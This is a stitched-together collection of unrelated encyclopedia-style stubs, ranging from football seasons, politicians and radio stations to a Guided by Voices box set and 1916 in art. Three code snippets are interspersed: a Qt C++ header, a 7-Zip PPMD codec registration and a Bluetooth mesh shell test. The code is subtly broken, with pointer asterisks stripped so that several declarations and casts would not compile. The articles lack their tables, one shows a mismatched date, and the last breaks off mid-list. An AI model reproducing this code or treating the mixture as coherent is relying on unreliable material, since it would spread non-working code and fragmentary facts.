In the 2014–15 season, JS Saoura competed in the Ligue 1 for the 3rd season, as well as the Algerian Cup. On February 24, 2015, Mustapha Kouici was appointed as the club's general manager for a period of 18 months, Kouici has pledged to put his experience and knowledge at the disposal of the team for the sole purpose of putting it on the right track. Squad list Players and squad numbers last updated on 18 November 2010.Note: Flags indicate national team as has been defined under FIFA eligibility rules. Players may hold more than one non-FIFA nationality. Competitions Overview Ligue 1 League table Results summary Results by round Matches Algerian Cup Squad information Goalscorers Includes all competitive matches. The list is sorted alphabetically by surname when total goals are equal. Transfers In Out References JS Saoura seasons Algerian football clubs 2014–15 season
Brigita Schmögnerová (born 17 November 1947) is a Slovak economist and politician. She was the Minister of Finance of Slovakia from 1998 to 2002 under Prime Minister Mikuláš Dzurinda. She was appointed Executive Secretary of the United Nations Economic Commission for Europe in 2002. Schmögnerová led the country's accession to the euro, which earned her the nickname of the "Iron lady of Slovakia". References 1947 births Living people Politicians from Bratislava Finance ministers of Slovakia University of Economics in Bratislava alumni Party of the Democratic Left (Slovakia) politicians Members of the National Council (Slovakia) 1994-1998 Female finance ministers 20th-century Slovak women politicians 21st-century Slovak women politicians 21st-century Slovak politicians Women government ministers of Slovakia Female members of the National Council (Slovakia)
Allowable Strength Design (ASD) is a term used by the American Institute of Steel Construction (AISC) in the 14th Edition of the Manual of Steel Construction. Allowable Stress Design philosophy was left unsupported by AISC after the 9th edition of the manual which remained an acceptable reference design standard in evolving building codes (e.g. International Building Code by the International Code Council). This presented problems since new research, engineering concepts and design philosophy were ignored in the minimum requirements and references in the aging 9th edition. As a result, structures that were code compliant based on design using the Allowable Stress Design methods may not have been code compliant if reviewed with the Load and Resistance Factor Design (LRFD) requirements - particularly where the LRFD procedures explicitly defined additional analysis which was not explicitly defined in the Allowable Stress Design procedures. AISC's Allowable Strength Design applies a quasi-safety factor approach to evaluating allowable strength. Ultimate strength of an element or member is determined in the same manner regardless of the load combination method considered (e.g. ASD or LRFD). Design load combination effects are determined in a manner appropriate to the intended form of the analysis results. ASD load combinations are compared to the ultimate strength reduced by a factor (omega) which provides a mathematical form similar to Allowable Stress Design resolved with a safety factor. This AISC Allowable Strength Design does not attempt to relate capacity to elastic stress levels. Therefore, it is inappropriate to refer to the procedure or philosophy as either Allowable Stress or Permissible Stress Design. Construction Engineering concepts Structural steel
Charles Fairbanks may refer to: Charles W. Fairbanks (1852–1918), American politician and vice-president Charles H. Fairbanks (1913–1984), American archaeologist/anthropologist Charles B. Fairbanks (1827–1859), American writer Charles Rufus Fairbanks (1790–1841), Canadian lawyer, judge, entrepreneur and political figure
LYIT may refer to: Lan Yang Institute of Technology in Yilan County, Taiwan Letterkenny Institute of Technology in County Donegal, Ireland
The M1 is a metropolitan route in the eThekwini Metropolitan Municipality, South Africa, linking Pinetown to Mobeni in Durban via Chatsworth. Route The M1 officially starts at the M13 interchange (Exit 19) with the M31 Josiah Gumede Road, west of the Pinetown Central Business District (CBD) as Henry Pennington Road (previously Richmond Road). It proceeds southwards past the suburbs of Ashley, Surprise Farm, Alexander Park and Westmead before meeting the N3 highway (to Durban and Pietermaritzburg) at the Exit 23 interchange. The M1 proceeds to turn in a southwesterly direction traversing through the suburbs of Mariannhill Park, Mariannhill, Mariannheights and Mariannridge before meeting the Old Richmond Road (to Eston and Richmond). It then proceeds to traverse the suburbs of Nsiswakazi (where it bends eastwards), St Wendolins Ridge, Phumphele, Savannah Park and Mawelewele (where it bends southwards) before leaving Pinetown and entering Chatsworth. The M1 enters Chatsworth as a single-carriageway freeway named Higginson Highway, passing over the Moorcross Drive/Moorton Drive interchange and thereafter heading in an east-south-east direction. Shortly after, it splits into a dual carriageway, passing over the Moorcross Drive/Arena Park Drive interchange, the Shallcross Road interchange, north of Chatsworth's CBD, the Astral Drive/Florence Nightingale Drive interchange and the 42nd Avenue/Lenny Naidu Drive interchange. After 42nd Avenue, the M1 ends as a freeway and intersects with Havenside Drive before leaving Chatsworth to enter Durban in the suburb of Mobeni Heights. In Mobeni Heights, it intersects Mobeni Heights Drive before intersecting the N2 highway (to KwaDukuza and Port Shepstone) at the Exit 154 interchange. After the N2, it proceeds into the industrial suburb of Mobeni West, ending at the intersection with the R102 South Coast Road. History The Higginson Highway was named for a leader of the Durban City Co-Operation Housing Committee that encouraged the relocation of Indian people from white-only areas of Durban to Chatsworth, along the highway's corridor. There is a community-led effort to rename the highway to instead honour Amichand Rajbansi, an Indian leader in the community. The Higginson Highway is known for the numerous fatal accidents that happen on the road on a reoccurring basis. Some local residents attribute this to a ghost named "Sheila", thought to be a woman that hitchhikes on the road that may have died in one of the accidents, or may have committed suicide by running into traffic. A 2014 movie The Curse of Highway Sheila addressed this legend. References Further reading External links eThekwini Online - Roads Home Page Highways in South Africa Metropolitan Routes in Durban Reportedly haunted locations in South Africa
Irewole Samuel Oni, known predominantly by his stage name, Wole Oni is a Nigerian born songwriter, Jazz artist, and music producer. He is a United Nations International Ambassador for Peace, and has been endorsed by Yamaha Corporation Yamaha Gulf FZE as Yamaha first artist signed in the whole of Africa. Life and career Born in Akure, Ondo State, Nigeria, Wole was a graduate of the University of Lagos where he studied Computer Science. He is the writer and producer of singles such as Cover me Lord and a Christmas song titled Come let Is adore Him. Wole produced notable hit songs like Igwe by the Midnight Crew, Kosobabire by Folake Umosen, Ijoba Orun, Kolebaje, Halleluyah by Lara George, and many others. As a Jazz artist, he has performed at notable Jazz and Rock concerts in UAE, USA, Ireland, South African, the United Kingdom, and other locations. Wole is the CEO of Instinct Productions and Wole Oni Music Productions (WOMP). He performed at the Commonwealth Heads of Government Summit with Queen Elizabeth in attendance. Wole has won multiple awards in his career over the years. Among the notable ones include: AGMA UK Award for the best producer in Africa 2013, 2014, 2015, Kora award 2004, National Gospel Awards and others. References External links Wole Oni Music Productions website Living people Nigerian record producers Nigerian jazz musicians Nigerian songwriters Year of birth missing (living people)
Woodlands, or the William Gilmore Simms Estate, is a historic plantation estate in Bamberg County, South Carolina. The property is nationally notable as the home for many years of author William Gilmore Simms (1806-1870), considered one of the leading literary voices of the antebellum Southern United States, and was designated a National Historic Landmark in 1971. The main house, built in part by Simms, contains mementos from his period. Description and history The Woodlands estate is located east of Bamberg on both sides of U.S. Highway 78, on the south bank of the south branch of the Edisto River. The main estate house is a two-story structure, brick on the first floor and wood frame on the second. Its main facade is five bays across, with asymmetrical window and door placement. The estate has two outbuildings from the 1860s: a small cabin that was used by William Gilmore Simms as a study, and a small dairy house. The estate was already of some age when William Gilmore Simms inherited it from his in-laws in 1836. It was for many years his primary residence, where many of his most significant works were written. The main estate house was rebuilt several times, once after a fire, and again after its destruction by Union Army forces late in the American Civil War. Simms was not able to fully rebuild the main house, and only completed the library wing in 1867, which forms the first floor of the current main house. A documentary was made about the enslaved population at the Woodlands plantation. See also List of National Historic Landmarks in South Carolina National Register of Historic Places listings in Bamberg County, South Carolina References External links Woodlands, Bamberg County (S.C. Hwy. 78, Bamberg vicinity), at South Carolina Department of Archives and History National Historic Landmarks in South Carolina Houses in Bamberg County, South Carolina Houses on the National Register of Historic Places in South Carolina Houses completed in 1836 Historic American Buildings Survey in South Carolina National Register of Historic Places in Bamberg County, South Carolina
El Pinar is a municipality in the province of Granada, Spain. As of 2010, it has a population of 1011 inhabitants. References Municipalities in the Province of Granada
Suitcase Four: Captain Kangaroo Won the War is the fourth box set of unreleased music by the Dayton, Ohio band Guided by Voices. The collection is compiled in the same manner as the previous three suitcase box sets, with 100 songs spanning four discs complete with fictional band names for each track. The music ranges from demos of classic tracks to studio outtakes and song sketches. Track listing Disc 1 Unruly Compounds – Lead Walking Shorts Jump The Swing – Walls And Windows Jonathon Hyphen Jones – I'm In Shock (Hit Me With Tonic) Vile Typists – Deaf Dumb And Blind Girl Rachel Twit – Try Me On For Size Laser Finch – No One Looking For You Crowd, The – Murphy Had A Birthday Zeppelins Of Gin – Living On Planet Cake Jonathon Hyphen Jones – Great Service Baby Gods – Only Ghost In Town Teenage Guitar – 8 Bars (Ext 3) Target Larks – No Bird Broken Heart Discothèque – Motor Away [Quiet Demo] Canoes – The Garden Jonathon Hyphen Jones – Happy Heartbreaker Pretzel Youth – Less Active Railroad Porky Giant (w/ Jumbo) – Porpoise Northeast Human Possible, The – Pretty Pinwheel Die City – Back To The Diving Board Dashing Plumbers – Mary And The Summer Crowd, The – Eloise Abigail French – Here To Stay Human Brain – She It Christopher Lightship – Hallway Of Shatterproof Glass Nile Eskimo – Govt. Bldg. 15 Disc 2 Once – Lockets Of The Empress Red Gravity – The New Ooze Invalid Keys – Our Little Secret Jonathon Hyphen Jones – I Can Never Let You Win Cracked Heads, The – Hey You Know Me [Live] Demmit Runyon – Ode To J.D. 1913 Floods, The – I Am Decided [Alternate Mix] Science Of Lamar – Over And Over Again Multi-Colored Wisemen, The – Excellent Extension Up The Family Tree – Good To Look Witches Of Woodstock – Slave Boss Cranberry [Live] Average Roger – Slow Dirty Water Jonathon Hyphen Jones – The Garden Goes Punchin Umps – Save My Life [Live] Obligated Finger – Somethings Missing Crystal Rabbit – Clean It Up Anvil Cranberry – You Don't Know Me (I'm Your Dog) Jonathon Hyphen Jones – You Make The Sun Crowd, The – Time Will Destroy You Fire Engine John – Delayed Reaction Brats [Demo] Jonathon Hyphen Jones – Pretty As Her Cats Sobers – One Big Boss Human Possible, The – Mystery Walk Crowd, The – Then Again The Sunflower Logic – Son Of The Sea Disc 3 Union Bellboy – Bellboy Stomp Crowd, The – Linda's Lottery Jonathon Hyphen Jones – Of Course You Are [Demo] Poof – Pinpoints On The Anal Zone Eyeball Magazine – City With Fear Stonehenge Birdhouse – She Doesn't Know Why Greenish Monsoon – (I Been) Pigeon Tripping The Peter Pan Can – Fall All Over Yourself Pontiac Seagulls – Quality Of Armor [Very Early Version] Pete Star – Teeth Flashlight [Demo] Hoarse Gorilla – Let's Make Out Bob Silky – Busy Bee The Sunflower Logic – Why Do You Stare Into The Sea Boy Rocker – Rock Time Canoes – Heartbeat Amazed By Extra Indians – Near As Not Late Abigail French – Finger To The Lips Mousetrap Speaker – Carnal Limousine Faint Wives – Doctor Boyfriend Jonathon Hyphen Jones – Spiraling Epsilon Rachel Twit – Ugly Day Of Rain And Soccer Ink Well Spinsters – Yank For The Rooties Mother Superior Gymnasium – Glad Girls [Early Version] Jonathon Hyphen Jones – (If You've Got A Rocket) Got To Ride Human Possible, The – Frog Baby Axe Murderer Disc 4 Maximilian Kittykat – Strange Games Crowd, The – Thick And Thin Red Rubber Ballroom – When 2 Hours Seem Like 5 Blazing Archetypes – Find A Wet Spot Zonker Zoon – I'm Just Doing My Job Jonathon Hyphen Jones – Contemporary Man (He Is Our Age) [Demo] Zeppelins Of Gin – Heels Tight Peccadilloes – The House Always Looks So Nice Franklin Ellsworth Bowie – Amazed [Power Of Suck Version] Crowd, The – Disappearing Act Manly Weathers – Rubber Man [Long Version] Target Larks – James Of Life Embry O's – The Jerking Clown Hospital – Psycho All The Time Flavor X – Throwing Down The Line Jonathon Hyphen Jones – Proof Strike Outs, The – Third Grade Aviator Witches Of Woodstock – She Likes Tea Rats [Live] Jonathon Hyphen Jones – Promo Brunette [Demo] Roonies, The – Just One Drop No Equal – Temporary Shutdown Offspeed Macaroni, The – Skin High Jonathon Hyphen Jones – Your Cricket Is Rather Unique Anacrusis – Fame And Fortune Live Forever Foundation – High Treason References Guided by Voices compilation albums 2015 compilation albums
is a former Japanese football player and manager. Playing career Yamamura was born in Handa on August 18, 1976. After graduating from Aichi Gakuin University, he joined newly was promoted to J2 League club, Ventforet Kofu in 1999. However he could hardly play in the match. In 2000, he moved to newly was promoted to J2 League club, Mito HollyHock. He became as regular player and played many matches as defensive midfielder and right side back. In 2001, he moved to Prefectural Leagues club Gunma FC Horikoshi. He played many matches and the club was promoted to Regional Leagues. In 2003, he moved to Regional Leagues club Okinawa Kariyushi FC and played many matches in 2 seasons. In November 2004, he moved to Japan Football League (JFL) club Gainare Tottori and played many matches until 2007. In 2008, he moved to Prefectural Leagues club SC Tottori Dreams and played in 2 seasons. In 2010, he moved to Regional Leagues club Maruyasu Industries (later Maruyasu Okazaki). He played many matches and the club was promoted to JFL from 2014. He retired end of 2016 season. Coaching career In 2014, when Yamamura played for Japan Football League club Maruyasu Okazaki, he became a playing manager. he managed the club until 2016. Club statistics References External links 1976 births Living people People from Handa, Aichi Aichi Gakuin University alumni Association football people from Aichi Prefecture Japanese men's footballers J2 League players Japan Football League players Ventforet Kofu players Mito HollyHock players Arte Takasaki players Gainare Tottori players FC Maruyasu Okazaki players Men's association football defenders
CHQT (880 kHz, Global News Radio 880 Edmonton) is a commercial AM radio station licensed to Edmonton, Alberta. Owned by Corus Entertainment, the station broadcasts an all-news format. CHQT broadcasts with a power of 50,000 watts, using a non-directional antenna in the daytime. But because AM 880 is a clear channel frequency, CHQT must use a directional antenna at night. Global News Radio 880 Edmonton can be heard in AM stereo using the C-QUAM system. According to the Numeris Winter 2018-2019 Meter Ratings Report, the station ranks 18th (out of 19 stations measured) As of February 28, 2021, CHQT is the 16th-most-listened-to radio station in the Edmonton market according to a PPM data report released by Numeris. History The station signed on August 19, 1965 on 1110 kHz, with 10,000 watts power. It originally broadcast a Middle of the road format. In 1979, CHQT started using 50,000 watts power. In 1986, the station changed frequency to 880 kHz as it was sold to Monarch Broadcasting, Ltd. In July 2000, Shaw Broadcasting sold the station to Corus Entertainment. In June 2001, CHQT flipped to oldies as Cool 880. In October 2003, the station briefly flipped to a variety hits format as 880 Joe AM. The format moved to sister station CKNG-FM as 92.5 Joe FM on January 13, 2004, after which CHQT reverted to oldies; it is likely CHQT flipped to the format merely as a placeholder while CKNG prepared for their flip to avoid a rival company preemptively making any similar move. On May 20, 2008, CHQT re-launched as an all-news station, branded as iNews 880, complementing sister talk radio station 630 CHED. On May 29, 2018, the station re-branded as Global News Radio 880 Edmonton, as part of an ongoing rebranding of Corus's news/talk radio stations to create synergies with Global News television programming, and its local station CITV-DT. As part of the rebranding, the station added an audio simulcast of Global News Hour at 6. An audio simulcast of Global News at Noon from Global Edmonton was added as of March 2019. As of July 2020, an audio-only rebroadcast of Global National airs on CHQT at 7 PM, following the News Hour simulcast. References External links Global News Radio 880 Edmonton History of CHQT - Canadian Communications Foundation Hqt Hqt Hqt Radio stations established in 1965 1965 establishments in Alberta
The Keith Medal was a prize awarded by the Royal Society of Edinburgh, Scotland's national academy, for a scientific paper published in the society's scientific journals, preference being given to a paper containing a discovery, either in mathematics or earth sciences. The Medal was inaugurated in 1827 as a result of a gift from Alexander Keith of Dunnottar, the first Treasurer of the Society. It was awarded quadrennially, alternately for a paper published in: Proceedings A (Mathematics) or Transactions (Earth and Environmental Sciences). The medal bears the head of John Napier of Merchiston. The medal is no longer awarded. Recipients of the Keith Gold Medal Source (1827 to 1913): Proceedings of the Royal Society of Edinburgh 19th century 1827–29: David Brewster, on his Discovery of Two New Immiscible Fluids in the Cavities of certain Minerals 1829–31: David Brewster, on a New Analysis of Solar Light 1831–33: Thomas Graham, on the Law of the Diffusion of Gases 1833–35: James David Forbes, on the Refraction and Polarization of Heat 1835–37: John Scott Russell, on Hydrodynamics 1837–39: John Shaw, on the Development and Growth of the Salmon 1839–41: Not awarded 1841–43: James David Forbes, on Glaciers 1843–45: Not awarded 1845–47: Sir Thomas Brisbane, for the Makerstoun Observations on Magnetic Phenomena 1847–49: Not awarded 1849–51: Philip Kelland, on General Differentiation, including his more recent Communication on a process of the Differential Calculus, and its application to the solution of certain Differential Equations 1851–53: William John Macquorn Rankine, on the Mechanical Action of Heat 1853–55: Thomas Anderson, on the Crystalline Constituents of Opium, and on the Products of the Destructive Distillation of Animal Substances 1855–57: George Boole, on the Application of the Theory of Probabilities to Questions of the Combination of Testimonies and Judgments 1857–59: Not awarded 1859–61: John Allan Broun, on the Horizontal Force of the Earth’s Magnetism, on the Correction of the Bifilar Magnetometer, and on Terrestrial Magnetism generally 1861–63: William Thomson, on some Kinematical and Dynamical Theorems 1863–65: James David Forbes, for Experimental Inquiry into the Laws of Conduction of Heat in Iron Bars 1865–67: Charles Piazzi Smyth, on Recent Measures at the Great Pyramid 1867–69: Peter Guthrie Tait, on the Rotation of a Rigid Body about a Fixed Point 1869–71: James Clerk Maxwell, on Figures, Frames, and Diagrams of Forces 1871–73: Peter Guthrie Tait, First Approximation to a Thermo-electric Diagram 1873–75: Alexander Crum Brown, on the Sense of Rotation, and on the Anatomical Relations of the Semicircular Canals of the Internal Ear 1875–77: Matthew Forster Heddle, on the Rhombohedral Carbonates and on the Felspars of Scotland 1877–79: Henry Charles Fleeming Jenkin, on the Application of Graphic Methods to the Determination of the Efficiency of Machinery 1879–81: George Chrystal, on the Differential Telephone 1881–83: Sir Thomas Muir, Researches into the Theory of Determinants and Continued Fractions 1883–85: John Aitken, on the Formation of Small Clear Spaces in Dusty Air 1885–87: John Young Buchanan, for a series of communications, extending over several years, on subjects connected with Ocean Circulation, Compressibility of Glass, etc. 1887–89: Edmund Albert Letts, for his papers on the Organic Compounds of Phosphorus 1889–91: Robert Traill Omond, for his contributions to Meteorological Science 1891–93: Sir Thomas Richard Fraser, for his papers on Strophanthus hispidus, Strophanthin, and Strophanthidin 1893–95: Cargill Gilston Knott, for his papers on the Strains produced by Magnetism in Iron and in Nickel 1895–97: Sir Thomas Muir, for his continued communications on Determinants and Allied Questions 1897–99: James Burgess, on the Definite Integral ... 20th/21st century See also List of mathematics awards References External links Awards of Keith Prize 1827-1890 List of recent winners Announcement of Jenkin's award British science and technology awards Mathematics awards Royal Society of Edinburgh Scottish awards 1827 establishments in Scotland Awards established in 1827
Cureus, Journal of Medical Science, is a web-based peer-reviewed open access general medical journal using prepublication and post publication peer review. It is also the first academic journal which provides authors with step-by-step templates for them to use to write their papers. The journal's founding editors-in-chief are John R. Adler (Stanford University) and Alexander Muacevic (University of Munich). History and publication process The journal was originally started as PeerEMed in 2009, obtaining its current name in December 2012. Under its system, after an article is published, anyone can review it, but the reviews of experts will be given a higher score. As of December 2022, the journal became part of the Springer Nature group of journals. Abstracting and indexing The journal is abstracted and indexed in the Emerging Sources Citation Index. Controversies Its peer-review process involves asking experts to review a given article in a few days, which results in its peer reviews taking much less time than those of most other journals do. Adler told Retraction Watch in 2015 that "Yes Cureus has an unusually fast review process, which is an important part of the journal’s philosophy. We believe that post publication peer review, a focus of our journal through commenting and our unique SIQ process, is potentially a more powerful way to discern truth." Nevertheless, the speed and the quality of this peer review process, as well as the article-level metric "Scholarly Impact Quotient" (SIQ) used by Cureus has attracted the criticism of librarians and scientists who worry that the SIQ could be gamed. A study conducted by librarians of the Emory University found that Cureus was in the top 2 of institutional publications deemed predatory or untrustworthy. Cureus was also criticized for having allowed to publish articles elsewhere retracted because of methodological reasons and under scrutiny for “possible violations of medical ethics and human rights”, in particular the results of a Covid-19 proxalutamide trial in Brazil. In April 2022, Cureus displayed a Wall of shame to "highlight authors who have committed egregious ethical violations as well as the institutions that enabled them". This feature draw criticism as it unjustly put the emphasis on individuals, in particular the corresponding author. This feature was withdrawn in May 2023. References External links Academic journals established in 2009 General medical journals Creative Commons Attribution-licensed journals English-language journals Irregular journals Springer Science+Business Media academic journals
William, Bill, Billy or Willie Slater may refer to: William Slater (architect) (1819–1872), English architect William Slater (cricketer) (1790–1852), English cricketer William Slater (swimmer) (born 1940), Canadian swimmer William A. Slater (1857–1919), American businessman, art collector, and philanthropist Bill Slater (broadcaster) (1902–1965), American educator, sports announcer, and radio/television personality Bill Slater (footballer) (1927–2018), English footballer Bill Slater (politician) (1890–1960), Australian lawyer, politician and diplomat Billy Slater (born 1983), Australian rugby league footballer Billy Slater (footballer) (1858–?), English footballer Willie J. Slater, American football coach and player Edward Slater (1917–2016), also known as Bill Slater, Australian biochemist
Pali is a town and a nagar panchayat in Lalitpur district in the Indian state of Uttar Pradesh. Geography Pali is located at . It has an average elevation of 457 metres (1499 feet). It is having a Neelkanth Mahadev Temple in the heart of the city. Demographics India census, Pali has a population of 9,267 divided into 10 wards. Male population is 4,830 and that of female is 4,437. Pali has an average literacy rate of 70.77%, higher than state average of 67.68 %, male literacy is 81.65%, and female literacy is 59.06%. In Pali, 15.75% of the population is under 6 years of age. Out of the total population, 3,856 are engaged in work or business activity with 2,460 are males and rest 1,396 are females. Schedule Caste (SC) and Schedule Tribe (ST) constitutes 15.95% and 4.79% of the total population in Pali. Based on the census 93.02% of the total population are Hindus, 3.57% are Muslims, 3.32% are Jains and the rest is occupied by Christian, Sikh and Buddhist. It is also famous because of Devgarh temples. Pali is famous for its deshi pan & Neelkantheshwar temple 3 km away from city on the peak of Vindhyanchal Mountain. •Old fort of Raja Rao Sahab Bhanupratap Singh judev Bundela.Raosahab Bhanupratap Singh Judev and Chhatrajeet Singh Judev were the "Jageerdar"of pali. .Raosahab Pali donated about 1000 acres of his property to 400 families. Pali was founded by Maharaja Jorawar Singh Judev son of Maharaj Durjan Singh Judev (From Chanderi). Raja Jorawar Singh Judev were two brothers. Raja Man singh Chanderi and Raja Dewaan dhiraj Singh Judev (Gadyana) Folk songs of the place are very famous like "Alha" (song about bravery of kings Alha and Udal) derived from Alha-Khand and "Beer Hardol" (song about brother's love.) References Cities and town in Lalitpur district, India
Joe Benitez (born May 21, 1971) is an American comic book artist. He is co-creator and penciller of Weapon Zero, published by Top Cow Productions. Other titles he has worked on include The Darkness, The Magdalena, as well as work for DC Comics. Bibliography Cyberforce Origins: Cyblade Weapon Zero (Top Cow Productions) The Darkness (Top Cow Productions) The Magdalena (Top Cow Productions): Blood Divine (with Marcia Chen, 3-issue mini-series) Magdalena/Vampirella #1 (with David Wohl) Ballistic/Wolverine (Marvel/Top Cow Crossover) Witchblade/Elektra (Marvel/Top Cow Crossover) Silver Surfer/Weapon Zero (Marvel/Top Cow Crossover)Supergirl #11 (DC Comics)Wraithborn (with Marcia Chen, 6-issue mini-series, Wildstorm, 2005-2006)Detective Comics #823 (DC Comics, 2006)Titans vol. 2: #2-4Soulfire #9-10Lady Mechanika vol. 1: #0-3 (Aspen MLT, 2010–12)Lady Mechanika vol. 1: #4-5 (Benitez Productions, 2015)Lady Mechanika: The Tablet of Destinies, vol. 2, #1-6 (Benitez Productions, 2015)Lady Mechanika: The Lost Boys of West Abbey, #1-2 (Benitez Productions, 2016)Wraithborn: Redux (with Marcia Chen), #1-6 (Benitez Productions, 2016)Lady Mechanika: La Dama de la Muerte, #1-3 (Benitez Productions, 2016)Lady Mechanika: Clockwork Assassin, #1-3 (Benitez Productions, 2017) References Comicon.com: August 2005 interview about Wraithborn'' Comicon.com:September 2006 interview American comics artists 1971 births Living people Place of birth missing (living people)
```objective-c #ifndef SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H #define SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H #include "./internalerror.h" #include "./textviewdialog.h" #include <vector> QT_FORWARD_DECLARE_CLASS(QLabel) namespace QtGui { class SYNCTHINGWIDGETS_EXPORT InternalErrorsDialog : public TextViewDialog { Q_OBJECT public: ~InternalErrorsDialog() override; static InternalErrorsDialog instance(); static bool hasInstance(); static void addError(InternalError &&newError); static void addError(const QString &message = QString(), const QUrl &url = QUrl(), const QByteArray &response = QByteArray()); Q_SIGNALS: void errorsCleared(); public Q_SLOTS: static void showInstance(); static void clearErrors(); private Q_SLOTS: void internalAddError(const InternalError &error); void updateStatusLabel(); private: InternalErrorsDialog(); const QString m_request; const QString m_response; QLabel const m_statusLabel; static InternalErrorsDialog s_instance; static std::vector<InternalError> s_internalErrors; }; inline InternalErrorsDialog InternalErrorsDialog::instance() { return s_instance ? s_instance : (s_instance = new InternalErrorsDialog); } inline bool InternalErrorsDialog::hasInstance() { return s_instance != nullptr; } inline void InternalErrorsDialog::showInstance() { instance()->show(); } } // namespace QtGui #endif // SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H ```
The 2015–16 season of the Belgian Second Division (also known as Proximus League for sponsorship reasons) began on 8 August 2015 and ended in April 2016. Structural changes This season was the last under the name Second Division. Starting from 2016-17 the league is known as First Division B as a result of reforms in the Belgian league system. The champions were promoted and 9 teams relegated to the third division named Amateur First Division or Amateur Superleague, while no team was promoted from the lower division. Promotion playoffs were not played and three-period rankings were not applied. Team changes After promotion and relegation, only 11 teams of the previous season remained in the league, with 5 others being replaced. One team was not replaced, thus reducing the competition to 17 teams. Out STVV were promoted as champions of the previous season. Leuven were promoted after winning the promotion playoffs. Woluwe-Zaventem were relegated to the Third Division after finishing 18th and for not applying for a license. KRC Mechelen were relegated to the Third Division after finishing 17th and for not applying for a license. Eendracht Aalst were relegated after failing to obtain a license. Mons folded as a team. In Cercle Brugge were relegated from the Belgian Pro League after finishing in last place. Lierse were relegated from the Belgian Pro League after finishing third in the playoffs. Coxyde were promoted as champions from Third Division A. Union SG were promoted as runner-up from Third Division B, after champions Cappellen did not apply for a license. Deinze were promoted after winning the third division playoffs. Team information Personnel and kits League table Results References Belgian Second Division seasons Bel 2
```c++ // PPMDRegister.cpp #include "StdAfx.h" #include "../../Common/RegisterCodec.h" #include "PPMDDecoder.h" static void CreateCodec() { return (void )(ICompressCoder )(new NCompress::NPPMD::CDecoder); } #ifndef EXTRACT_ONLY #include "PPMDEncoder.h" static void CreateCodecOut() { return (void )(ICompressCoder )(new NCompress::NPPMD::CEncoder); } #else #define CreateCodecOut 0 #endif static CCodecInfo g_CodecInfo = { CreateCodec, CreateCodecOut, 0x030401, L"PPMD", 1, false }; REGISTER_CODEC(PPMD) ```
```shell #!/usr/bin/env bash source $(dirname "${BASH_SOURCE[0]}")/../../_mesh_test.sh # Test that the LCD server model is able to split the # composition data when the total size exceeds the maximum access message size. # The test environment simulates a scenario where the server has completed DFU. # # Test procedure: # 0. Provisioning and setup. Server and client has same comp data. # 1. Client requests a sample exceeding the maximum avaialble payload from the # server's composition data. # 2. Client fetch its local comp data. # 3. When server status arrive, remove status field data and compare received # comp data with corresponding bytes in local comp data. # 4. Client requests the next sample from server's composition data. # 5. When server status arrive, remove status field data and compare received # comp data with correspending bytes in local comp data. # 6. Client merges the two samples and checks that the collected data is # correctly merged, continuous, and matches its local comp data. overlay=overlay_pst_conf RunTest mesh_lcd_test_comp129_data_split_dfu \ lcd_srv_comp_data_status_respond \ lcd_cli_split_comp_data_request -- -argstest page=129 comp-changed-mode=1 overlay="overlay_pst_conf_overlay_psa_conf" RunTest mesh_lcd_test_comp129_data_split_dfu \ lcd_srv_comp_data_status_respond \ lcd_cli_split_comp_data_request -- -argstest page=129 comp-changed-mode=1 ```
The interleukin 11 receptor is a type I cytokine receptor, binding interleukin 11. It is a heterodimer composed of an interleukin 11 receptor alpha subunit and an incompletely characterized beta subunit. References External links Type I cytokine receptors
Graphelysia is a genus of moths in the family Noctuidae. It contains only one species, Graphelysia strigillata, which can be found in south-eastern Peru; it was historically misclassified on multiple occasions, but in 2010 was determined to belong to the subfamily Agaristinae. References Agaristinae Monotypic moth genera Moths of South America
Harpalus dubius is a species of ground beetle in the subfamily Harpalinae. It was described by Boheman in 1848. References dubius Beetles described in 1848
Events from the year 1916 in art. Events February 5 – Cabaret Voltaire is opened by German poet Hugo Ball and his future wife Emmy Hennings in the back room of Ephraim Jan's Holländische Meierei in Zürich; although surviving only until the summer it is pivotal in the creation of Dada. Those who gather here include Marcel Janco, Richard Huelsenbeck, Tristan Tzara, Sophie Taeuber-Arp and Jean Arp. February 9 : 6.00 p.m. – Tristan Tzara "founds" Dada (according to Hans Arp). March 1 – Liljevalchs konsthall inaugurated in Stockholm. May 20 – Boy with Baby Carriage is Norman Rockwell's first cover for The Saturday Evening Post. May – Muirhead Bone recruited as a war artist by the British War Propaganda Bureau. At the end of the year, his album of drawings The Western Front begins publication. June 16 – Cleveland Museum of Art opens in the United States. July 14 – Hugo Ball recites the Dada manifesto in Zürich. Summer – Paul Strand experiments with 'straight' abstract photography at Twin Lakes (Connecticut). August 31 – Kestnergesellschaft founded in Hanover, Germany. September 19 – Edvard Munch's paintings for the Aula (festival hall) of Det Kongelige Frederiks Universitet, Christiania, are inaugurated. September 26 – C. R. W. Nevinson's first major single-artist exhibition opens in London. November – John Nash arrives with the Artists Rifles in France. Vanessa Bell's first single-artist exhibition is staged at Omega Workshops in London. Provincial Fine Arts Museum completed in Córdoba, Argentina. Gilbert Cannan publishes his novel Mendel: a story of youth, based on the lives of those in his artistic circle of friends with a young Mark Gertler as the central figure, together with Dora Carrington, C. R. W. Nevinson and John Currie. Ezra Pound publishes Gaudier-Brzeska: A Memoir. Works Paul Wayland Bartlett – Apotheosis of Democracy (pediment sculpture on United States Capitol) Vanessa Bell – Nude with Poppies Umberto Boccioni – Portrait of Ferruccio Busoni Constantin Brâncuși – Princess X (sculpture) Frank Brangwyn – Mosaic for apse of St Aidan's Church, Leeds, England George Clausen – Youth Mourning Giorgio de Chirico The Disquieting Muses The Melancholy of Departure Metaphysical Interior with Biscuits Marcel Duchamp – Apolinère Enameled (approximate date) Jacob Epstein – The Tin Hat (bronze head) Abel Faivre – On les aura! (recruiting poster) Paul Gustav Fischer – Sunbathing in the Dunes Mark Gertler Gilbert Cannan at his Mill Merry-Go-Round J. W. Godward Ancient Pastimes By The Blue Ionian Sea Lesbia With Her Sparrow George Grosz – Suicide Richard Jack – The Return to the Front: Victoria Railway Station Ernst Ludwig Kirchner – Königstein Station Laura Knight – Spring (original version) Boris Kustodiev Fontanka Shrovetide (Масленица) Alfred Laliberté – Les petits Baigneurs (bronze, Montreal) Fernand Léger – Soldier with a Pipe Wilhelm Lehmbruck – The Fallen (sculpture) Kazimir Malevich – Suprematist Composition Edward Middleton Manigault Still Life with Lemons Vorticist Landscape (War Impressions) (approximate date) Henri Matisse – The Piano Lesson Jean Metzinger Femme au miroir (Femme à sa toilette, Lady at her Dressing Table) Fruit and a Jug on a 